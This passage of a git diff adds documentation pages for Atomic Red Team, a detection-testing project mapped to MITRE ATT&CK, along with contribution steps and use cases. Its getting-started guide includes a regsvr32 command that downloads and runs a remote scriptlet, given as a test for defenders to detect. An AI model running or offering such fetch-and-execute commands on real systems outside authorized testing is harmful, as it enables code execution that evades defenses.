"x_mitre_permissions_required", "x_mitre_remote_support", "x_mitre_contributors", "id", "modified", "type"]
|
||||
```
|
||||
|
||||
### Example: Get a map of ATT&CK Tactic to all the Techniques associated with it
|
||||
```ruby
|
||||
2.2.0 :019 > Attack.new.techniques_by_tactic.each {|tactic, techniques| puts "#{tactic} has #{techniques.count} techniques"}
|
||||
persistence has 56 techniques
|
||||
defense-evasion has 59 techniques
|
||||
privilege-escalation has 28 techniques
|
||||
discovery has 19 techniques
|
||||
credential-access has 20 techniques
|
||||
execution has 31 techniques
|
||||
lateral-movement has 17 techniques
|
||||
collection has 13 techniques
|
||||
exfiltration has 9 techniques
|
||||
command-and-control has 21 techniques
|
||||
initial-access has 10 techniques
|
||||
```
|
||||
|
||||
### Example (my favorite): Getting a 2D array of the ATT&CK matrix of Tactic columns and Technique rows:
|
||||
```ruby
|
||||
2.2.0 :062 > Attack.new.ordered_tactics
|
||||
=> ["initial-access", "execution", "persistence", "privilege-escalation", "defense-evasion", "credential-access",
|
||||
"discovery", "lateral-movement", "collection", "exfiltration", "command-and-control"]
|
||||
|
||||
2.2.0 :071 > Attack.new.ordered_tactic_to_technique_matrix.each {|row| puts row.collect {|technique| technique['name'] if technique}.join(', ')};
|
||||
Drive-by Compromise, AppleScript, .bash_profile and .bashrc, Access Token Manipulation, Access Token Manipulation, Account Manipulation, Account Discovery, AppleScript, Audio Capture, Automated Exfiltration, Commonly Used Port
|
||||
Exploit Public-Facing Application, CMSTP, Accessibility Features, Accessibility Features, BITS Jobs, Bash History, Application Window Discovery, Application Deployment Software, Automated Collection, Data Compressed, Communication Through Removable Media
|
||||
Hardware Additions, Command-Line Interface, AppCert DLLs, AppCert DLLs, Binary Padding, Brute Force, Browser Bookmark Discovery, Distributed Component Object Model, Clipboard Data, Data Encrypted, Connection Proxy
|
||||
<SNIP>
|
||||
, , Winlogon Helper DLL, , Timestomp, , , , , ,
|
||||
, , , , Trusted Developer Utilities, , , , , ,
|
||||
, , , , Valid Accounts, , , , , ,
|
||||
, , , , Web Service, , , , , ,
|
||||
```
|
||||
@@ -0,0 +1,10 @@
|
||||
---
|
||||
---
|
||||
|
||||
//$header-bg-color-secondary: #CE232E;
|
||||
$header-bg-color-secondary: #CE232E;
|
||||
$header-bg-color: #d6757c;
|
||||
|
||||
$section-headings-color: #CE232E;
|
||||
|
||||
@import "{{ site.theme }}";
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 6.3 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.2 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 554 KiB |
@@ -1,37 +1,45 @@
|
||||
# How to contribute to Atomic Red Team
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
# Contributing to Atomic Red Team
|
||||
*NOTE: We have sweet stickers for people who contribute; if you’re interested send a message to
|
||||
gear@redcanary.com with your mailing address*
|
||||
|
||||
- [Atomic Philosophy](#atomic-philosophy)
|
||||
- [How to contribute](#how-to-contribute)
|
||||
- [Atomic Test structure](#atomic-test-structure)
|
||||
- [Generating Atomic docs yourself (optional)](#generating-atomic-docs-yourself--optional-)
|
||||
- [Generating Atomic docs yourself (optional)](#generating-atomic-docs-yourself-optional)
|
||||
|
||||
## Atomic Philosophy
|
||||
Atomic Red Team welcomes all types of contributions as long as it is mapped to [MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page). A few guidelines:
|
||||
Atomic Red Team welcomes all types of contributions as long as it is mapped to
|
||||
[MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page). A few guidelines:
|
||||
|
||||
- Tests are made to be "easy". If your Atomic Test is complicated and requires multiple external utilities/packages/Kali, we may ask that you simplify it.
|
||||
- Tests are made to be "easy". If your Atomic Test is complicated and requires multiple external utilities/packages/Kali,
|
||||
we may ask that you simplify it.
|
||||
|
||||
- TEST YOUR ATOMIC TEST! Be sure to run it from a few OSes/platforms before submitting a pull request to ensure everything is working correctly.
|
||||
- TEST YOUR ATOMIC TEST! Be sure to run it from a few OSes/platforms before submitting a pull request to ensure
|
||||
everything is working correctly.
|
||||
|
||||
- If sourcing from another tool/product (ex. generated command), be sure to cite it in the test's description.
|
||||
|
||||
## How to contribute
|
||||
Fork the atomic-red-team repository in Github, then checkout the repository and make a branch for your new test:
|
||||
```
|
||||
Fork on Github
|
||||
|
||||
### Fork
|
||||
[Fork the atomic-red-team repository in Github](https://github.com/redcanaryco/atomic-red-team/fork), then checkout
|
||||
the repository and make a branch for your new test:
|
||||
```bash
|
||||
git clone git@github.com/YOUR_GITHUB_ACCOUNT/atomic-red-team
|
||||
cd atomic-red-team
|
||||
|
||||
git checkout -b t1234-something-describing-your-test
|
||||
```
|
||||
|
||||
### Add Atomic Test
|
||||
Pick the technique you want to add a test for (ie, T1234) and run the generator. This makes
|
||||
a new test for the technique with a bunch of TODOs you'll fill in and opens up your editor
|
||||
so you can get to work.
|
||||
|
||||
```
|
||||
```bash
|
||||
bin/new-atomic.rb T1234
|
||||
```
|
||||
|
||||
@@ -39,23 +47,26 @@ bin/new-atomic.rb T1234
|
||||
|
||||
Fill in the TODOs with the information for your test. See the [Atomic Test structure](#atomic-test-structure) section below.
|
||||
|
||||
### Validate
|
||||
Validate that your Atomic Test is up to spec!
|
||||
|
||||
```
|
||||
```bash
|
||||
bin/validate-atomics.rb
|
||||
```
|
||||
|
||||
> Don't have Ruby? The automated build system will validate the techniques on your branch as soon as you commit to your branch and push to your fork.
|
||||
|
||||
### Push it
|
||||
Submit a Pull Request once your test is complete and everything validates.
|
||||
```
|
||||
git add atomics/t1234
|
||||
```bash
|
||||
git add atomics/T1234
|
||||
git commit -m "Add test for T1234 that does XYZ"
|
||||
git push -u origin $(git branch |grep '*'|cut -f2 -d' ')
|
||||
|
||||
Go to github.com/YOUR_GITHUB_ACCOUNT/atomic-red-team and follow the instructions to create a new Pull Request.
|
||||
```
|
||||
|
||||
Go to github.com/YOUR_GITHUB_ACCOUNT/atomic-red-team and follow the
|
||||
instructions to create a new Pull Request.
|
||||
|
||||
## Atomic Test structure
|
||||
This spec describes the format of Atomic Red Team atomic tests that are defined in YAML format.
|
||||
|
||||
@@ -67,8 +78,8 @@ generated via `bin/generate-atomic-docs.rb` and `atomic_red_team/atomic_doc_temp
|
||||
|
||||
The directory structure is:
|
||||
- Tests reside in the `atomics` directory
|
||||
- One directory per ATT&CK technique, named as `t1234`
|
||||
- All the atomic tests for a technique in a file named `t1234.yaml` inside that directory
|
||||
- One directory per ATT&CK technique, named as `T1234`
|
||||
- All the atomic tests for a technique in a file named `T1234.yaml` inside that directory
|
||||
- Any payloads, supporting materials, etc for the atomic tests also live in that directory
|
||||
|
||||
For example:
|
||||
@@ -76,10 +87,9 @@ For example:
|
||||
```
|
||||
atomic_red_team/
|
||||
atomic_red_team/atomics
|
||||
atomic_red_team/atomics/t1234
|
||||
atomic_red_team/atomics/t1234/t1234.yaml <-- this is where all the atomic tests for a technique live
|
||||
atomic_red_team/atomics/t1234/payload1.sct <-- a payload file needed by one of the T1234 atomics
|
||||
atomic_red_team/atomics/t1234/payload2.dll <-- another payload file needed by one of the T1234 atomics
|
||||
atomic_red_team/atomics/T1234
|
||||
atomic_red_team/atomics/T1234/T1234.yaml <-- where all the atomic tests for a technique live
|
||||
atomic_red_team/atomics/T1234/payload1.sct <-- payload file needed by one of the T1234 atomics
|
||||
```
|
||||
|
||||
In general, a set of atomic tests for a technique should never depend on payloads
|
||||
@@ -94,5 +104,4 @@ you can generate the Atomic Docs yourself:
|
||||
bin/generate-atomic-docs.rb
|
||||
```
|
||||
|
||||
The CircleCI build will automatically generate docs for your and commit them to your
|
||||
pull request to ensure they are updated before being merged into master.
|
||||
The CircleCI build will automatically generate docs and commit them to master when your pull request is merged.
|
||||
+49
-1
@@ -1 +1,49 @@
|
||||
# This is a temporary file
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
# Using Atomic Red Team to test your security
|
||||
|
||||
Our Atomic Red Team tests are small, highly portable detection tests mapped to the MITRE ATT&CK Framework. Each test
|
||||
is designed to map back to a particular tactic. This gives defenders a highly actionable way to immediately start
|
||||
testing their defenses against a broad spectrum of attacks.
|
||||
|
||||
|
||||
|
||||
# A quick history
|
||||
|
||||
We initially created Atomic Red Team as a way to test Red Canary’s detection coverage against the best adversary
|
||||
tactic/technique taxonomy, Mitre's ATT&CK. Our Detection Engineering team had a well baked unit testing process but
|
||||
wanted to add "functional testing". Atomic Red Team was born.
|
||||
|
||||
We soon realized that we could help teams use the same approach to evaluate Red Canary and other detection and
|
||||
response products to assess their coverage. The standard testing method of using malware samples from VirusTotal or
|
||||
other malware sharing sites was an exceptionally poor representation of a real-world adversary. And you simply
|
||||
couldn't trust most vendors to give you unbiased samples.
|
||||
|
||||
With these principles in mind, we publicly launched Atomic Red Team. The response we received was, honestly, a bit
|
||||
overwhelming and showed us that there was a massive need in the community for this type of project. We are
|
||||
especially grateful to the MITRE ATT&CK team, whose great work has given us a great taxonomy to work within.
|
||||
|
||||
# Key Beliefs
|
||||
|
||||
## Teams need to be able to test everything from specific technical controls to outcomes.
|
||||
Security teams do not want to operate with a "hopes and prayers" attitude toward detection. We need to know
|
||||
what our controls and program can detect, and what theyit cannot. We don’t have to detect every adversary, but we do
|
||||
need to believe in knowing our blind spots.
|
||||
|
||||
## We should be able to run a test in less than five minutes.
|
||||
Most security tests and automation tools take a tremendous amount of time to install, configure, and execute. We
|
||||
coined the term “atomic tests” because we felt there was a simple way to decompose tests so most could be run
|
||||
in a few minutes.
|
||||
|
||||
**The best test is the one you actually run.**
|
||||
|
||||
## We need to keep learning how adversaries are operating.
|
||||
Most security teams don’t have the benefit of seeing a wide variety of adversary types and techniques crossing
|
||||
their networks every day. Even at Red Canary we only come across a fraction of the possible techniques being
|
||||
used, which makes the community working together essential to making us all better.
|
||||
|
||||
|
||||
|
||||
### Ready to start testing? [Get started!](/testing)
|
||||
@@ -0,0 +1,86 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
# Getting Started Testing with Atomic Tests
|
||||
|
||||
<img style="float: right;" src="https://www.redcanary.com/wp-content/uploads/image2-5.png">
|
||||
|
||||
We suggest a phased approach to running a test and evaluating your results:
|
||||
|
||||
1. [Select a test](#pick-a-test)
|
||||
2. [Execute Test](#execute-test)
|
||||
3. [Collect Evidence](#collect-evidence)
|
||||
4. [Develop Detection](#develop-detection)
|
||||
5. [Measure Progress](#measure-progress)
|
||||
|
||||
## Best Practices
|
||||
|
||||
* Be sure to get permission and necessary approval before conducting tests. Unauthorized testing is a bad decision
|
||||
and can potentially be a resume-generating event.
|
||||
|
||||
* Set up a test machine that would be similar to the build in your environment. Be sure you have your collection/EDR
|
||||
solution in place, and that the endpoint is checking in and active.
|
||||
|
||||
* Spend some time developing a test plan or scenario. This can take many forms. An example test plan could be to
|
||||
execute all the Discovery phase items at once in a batch file, or run each phase one by one, validating coverage as you go.
|
||||
|
||||
## Select a test
|
||||
Select one or more Atomic Tests that you plan to execute. A complete list, ATT&CK matrices, and platform-specific
|
||||
matrices linking to Atomic Tests can be found here:
|
||||
|
||||
- [Complete list of Atomic Tests](atomics/index.md)
|
||||
- [Atomic Tests per the ATT&CK Matrix](atomics/matrix.md)
|
||||
- Windows [Tests](atomics/windows-index.md) and [Matrix](atomics/windows-matrix.md)
|
||||
- macOS [Tests](atomics/macos-index.md) and [Matrix](atomics/macos-matrix.md)
|
||||
- Linux [Tests](atomics/linux-index.md) and [Matrix](atomics/linux-matrix.md)
|
||||
|
||||
## Execute Test
|
||||
|
||||
In this example we will use Technique `T1117 "Regsvr32"` and Atomic Test `"Regsvr32 remote COM scriptlet execution"`. This particular
|
||||
test is fairly easy to exercise since the tool is on all Windows workstations by default.
|
||||
|
||||
The details of this test, [which are located here](atomics/T1117/T1117.md#atomic-test-2---regsvr32-remote-com-scriptlet-execution),
|
||||
describe how you can test your detection by simply running the below command:
|
||||
|
||||
```
|
||||
regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll
|
||||
```
|
||||
|
||||
## Collect Evidence
|
||||
|
||||
What does your security solution observe?
|
||||
- You may see a file modification in the user’s profile.
|
||||
- You may detect network connections made by regsvr32.exe to an external IP.
|
||||
- There may be an entry in the proxy logs.
|
||||
- You may observe the scrobj.dll loading on Windows.
|
||||
- Or you might not observe any behavior on the endpoint or network.
|
||||
|
||||
This is why we test! We want to identify visibility gaps and determine where we need to make improvements.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Develop Detection
|
||||
|
||||
So you executed the test and none of your defenses fired – that’s why we test! Based on your observations
|
||||
and detection capabilities, it is time to use what you have to try to detect this event in your environment.
|
||||
|
||||
|
||||
|
||||
Once the detection is built, it is time to validate that the detection is working and that it is appropriately
|
||||
tuned. If you were to write your detection too broadly and “detect” every regsvr32.exe without any suppression,
|
||||
you are going to be digging out from a mountain of false positives. But if you write it too narrow and it
|
||||
only detects regsvr32.exe with the exact command line `/s /u /i` then all an attacker has to do is slightly
|
||||
modify their command line to evade your detection.
|
||||
|
||||
## Measure Progress
|
||||
|
||||
One of the goals is to try to measure your coverage/capabilities against the ATT&CK Matrix and to identify where you may have gaps. Roberto Rodriguez ([@cyb3rWar0g](https://twitter.com/Cyb3rWard0g)) provided [this spreadsheet](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook/blob/master/metrics/HuntTeam_HeatMap.xlsx) and complementary [blog post](https://cyberwardog.blogspot.com/2017/07/how-hot-is-your-hunt-team.html) showcasing how to determine where you stand within your organization in relation the MITRE ATT&CK Matrix.
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
# Use Cases
|
||||
|
||||
## Test your production security controls
|
||||
You have one or more security controls in production today. But do you know
|
||||
how they perform when presented with specific adversary techniques? Atomic Red
|
||||
Team can be used to introduce known adversary techniques in a controlled manner.
|
||||
|
||||
*Questions to ask*
|
||||
- Are we receiving signals for all observable events?
|
||||
- Are we receiving alerts for events that should occur with low frequency, or
|
||||
that have a high impact?
|
||||
|
||||
## Testing the coverage of a product during a proof of concept
|
||||
The original use case for Atomic Red Team, these tests are an invaluable means
|
||||
of validating vendor claims, or objectively measuring the presence or quality
|
||||
of signals across multiple products.
|
||||
|
||||
*Questions to ask*
|
||||
- Are we receiving signals for all observable events?
|
||||
- Are we receiving alerts for events that should occur with low frequency, or
|
||||
that have a high impact?
|
||||
- Is alerting for a given event deterministic, or does it depend on runtime
|
||||
context (i.e,. user, parent/child process attributes, etc.)?
|
||||
|
||||
## Testing your analysis team and processes
|
||||
While it is ideal that technical controls be tested and understood, it is
|
||||
critical that information security leaders understand how their
|
||||
operational capability--the combination of technical controls, expertise, and
|
||||
response processes--perform in the face of a determined adversary.
|
||||
|
||||
*Questions to ask*
|
||||
- Do one or more of our technical controls identify the test or Chain Reaction?
|
||||
- Does detection depend on automated correlation? On human analysis?
|
||||
- In any event, how quickly do we detect the activity?
|
||||
- How long does it take us to contain, remediate, recover?
|
||||
- What is the signal-to-noise ratio for the detection critiera used to
|
||||
identify the activity? Is it sustainable, in conjunction with the criteria
|
||||
required to cover a greater percentage of the ATT&CK matrix?
|
||||
Reference in New Issue
Block a user